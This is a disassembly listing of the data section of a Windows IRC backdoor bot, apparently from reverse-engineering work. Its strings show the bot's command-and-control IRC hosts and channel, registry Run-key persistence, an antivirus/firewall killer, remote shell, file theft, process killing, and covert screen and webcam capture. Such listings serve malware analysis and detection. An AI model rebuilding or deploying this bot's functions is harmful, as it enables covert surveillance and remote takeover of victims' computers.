dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(76B9A4E5h), 5 dup(2826BA72h), 5 dup(79F50649h)
		dd 7Ah dup(0)
		dd 79F50649h, 0
		dd 76B9A4E5h, 15h dup(0)
		dd 2826BA72h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
